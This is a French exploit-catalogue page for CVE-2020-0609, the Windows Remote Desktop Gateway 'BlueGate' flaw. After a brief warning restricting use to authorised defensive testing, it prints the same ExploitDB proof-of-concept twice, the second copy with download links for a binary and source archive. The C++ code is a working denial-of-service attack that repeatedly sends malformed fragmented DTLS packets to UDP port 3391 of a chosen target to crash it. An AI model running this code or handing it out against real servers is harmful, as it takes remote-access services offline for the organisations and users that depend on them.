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Exploit matérialisé

CVE-2020-0609

CRITICAL

2 exploit(s) public(s) pour cette CVE, 2 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
ExploitDB dos windows
Source

Remote Desktop Gateway - 'BlueGate' Denial of Service (PoC)

Par ollypwn

Comment tester cet exploit

Déni de service : envoie une entrée malformée pour crasher le service. À tester en VM isolée, l'effet est destructif.

Code cpp

#include "BlueGate.h"

/*
EDB Note:
- Download (Source) ~
- Download (Binary) ~
*/


void error(const char* msg)
{
	printf("ERROR: %s\n", msg);
	exit(EXIT_FAILURE);
}

void SOCKInit()
{
	WSADATA wsaData;
	int res;

	res = WSAStartup(MAKEWORD(2, 2), &wsaData);

	if (res != 0)
		error("WSAStartup failed");
}

void DTLSInit()
{
	SSL_library_init();
	SSL_load_error_strings();
	ERR_load_BIO_strings();
	OpenSSL_add_all_algorithms();
}

int OpenUDPConnection(const char* hostname, int port)
{
	int sockfd;
	sockaddr_in addr;

	sockfd = socket(AF_INET, SOCK_DGRAM, 0);

	if (sockfd < 0)
		error("Failed to open socket");

	addr.sin_family = AF_INET;
	addr.sin_port = htons(port);

	inet_pton(AF_INET, hostname, &(addr.sin_addr));

	if (connect(sockfd, (struct sockaddr*) & addr, sizeof(addr)) != 0)
	{
		closesocket(sockfd);
		error("Failed to connect socket");
	}

	return sockfd;
}

SSL* DTLSConnection(const char* hostname)
{
	int sockfd;
	int result;
	DTLSParams client;

	sockfd = OpenUDPConnection(hostname, 3391);

	client.ctx = SSL_CTX_new(DTLS_client_method());
	client.bio = BIO_new_ssl_connect(client.ctx);

	BIO_set_conn_hostname(client.bio, hostname);
	BIO_get_ssl(client.bio, &(client.ssl));

	SSL_set_connect_state(client.ssl);
	SSL_set_mode(client.ssl, SSL_MODE_AUTO_RETRY);

	SSL_set_fd(client.ssl, sockfd);

	if (SSL_connect(client.ssl) != 1) {
		return NULL;
	}

	return client.ssl;
}

int send_dos_packet(SSL* ssl, int id) {
	CONNECT_PKT_FRAGMENT packet;

	packet.hdr.pktID = PKT_TYPE_CONNECT_REQ_FRAGMENT;
	packet.hdr.pktLen = sizeof(CONNECT_PKT_FRAGMENT) - sizeof(UDP_PACKET_HEADER);
	packet.usFragmentID = id;
	packet.usNoOfFragments = id;
	packet.cbFragmentLength = 1000;
	memset(packet.fragment, 0x41, 1000);

	char pkt[sizeof(packet)];
	memcpy(&pkt, &packet, sizeof(packet));

	return SSL_write(ssl, pkt, sizeof(pkt));
}

int main(int argc, char* argv[])
{

	SSL* ssl;
	int i = 0;
	char* hostname;

	if (argc != 2) {
		printf("Usage: %s <IP address>\n", argv[0]);
		return 0;
	}

	hostname = argv[1];

	SOCKInit();
	DTLSInit();

	while (i++ > -1) {
		ssl = DTLSConnection(hostname);

		if (ssl == NULL) {
			break;
		}

		for (int n = 0; n < 4; n++) {
			send_dos_packet(ssl, i+n);
			printf("Sending packet [%u]\n", i + n);
		}

		i++;
	}


	return 0;
}
ExploitDB dos windows
Source

Remote Desktop Gateway - 'BlueGate' Denial of Service (PoC)

Par ollypwn

Comment tester cet exploit

Déni de service : envoie une entrée malformée pour crasher le service. À tester en VM isolée, l'effet est destructif.

Code cpp

#include "BlueGate.h"

/*
EDB Note:
- Download (Binary) ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47964-1.exe
- Download (Source) ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47964-2.zip
*/


void error(const char* msg)
{
	printf("ERROR: %s\n", msg);
	exit(EXIT_FAILURE);
}

void SOCKInit()
{
	WSADATA wsaData;
	int res;

	res = WSAStartup(MAKEWORD(2, 2), &wsaData);

	if (res != 0)
		error("WSAStartup failed");
}

void DTLSInit()
{
	SSL_library_init();
	SSL_load_error_strings();
	ERR_load_BIO_strings();
	OpenSSL_add_all_algorithms();
}

int OpenUDPConnection(const char* hostname, int port)
{
	int sockfd;
	sockaddr_in addr;

	sockfd = socket(AF_INET, SOCK_DGRAM, 0);

	if (sockfd < 0)
		error("Failed to open socket");

	addr.sin_family = AF_INET;
	addr.sin_port = htons(port);

	inet_pton(AF_INET, hostname, &(addr.sin_addr));

	if (connect(sockfd, (struct sockaddr*) & addr, sizeof(addr)) != 0)
	{
		closesocket(sockfd);
		error("Failed to connect socket");
	}

	return sockfd;
}

SSL* DTLSConnection(const char* hostname)
{
	int sockfd;
	int result;
	DTLSParams client;

	sockfd = OpenUDPConnection(hostname, 3391);

	client.ctx = SSL_CTX_new(DTLS_client_method());
	client.bio = BIO_new_ssl_connect(client.ctx);

	BIO_set_conn_hostname(client.bio, hostname);
	BIO_get_ssl(client.bio, &(client.ssl));

	SSL_set_connect_state(client.ssl);
	SSL_set_mode(client.ssl, SSL_MODE_AUTO_RETRY);

	SSL_set_fd(client.ssl, sockfd);

	if (SSL_connect(client.ssl) != 1) {
		return NULL;
	}

	return client.ssl;
}

int send_dos_packet(SSL* ssl, int id) {
	CONNECT_PKT_FRAGMENT packet;

	packet.hdr.pktID = PKT_TYPE_CONNECT_REQ_FRAGMENT;
	packet.hdr.pktLen = sizeof(CONNECT_PKT_FRAGMENT) - sizeof(UDP_PACKET_HEADER);
	packet.usFragmentID = id;
	packet.usNoOfFragments = id;
	packet.cbFragmentLength = 1000;
	memset(packet.fragment, 0x41, 1000);

	char pkt[sizeof(packet)];
	memcpy(&pkt, &packet, sizeof(packet));

	return SSL_write(ssl, pkt, sizeof(pkt));
}

int main(int argc, char* argv[])
{

	SSL* ssl;
	int i = 0;
	char* hostname;

	if (argc != 2) {
		printf("Usage: %s <IP address>\n", argv[0]);
		return 0;
	}

	hostname = argv[1];

	SOCKInit();
	DTLSInit();

	while (i++ > -1) {
		ssl = DTLSConnection(hostname);

		if (ssl == NULL) {
			break;
		}

		for (int n = 0; n < 4; n++) {
			send_dos_packet(ssl, i+n);
			printf("Sending packet [%u]\n", i + n);
		}

		i++;
	}


	return 0;
}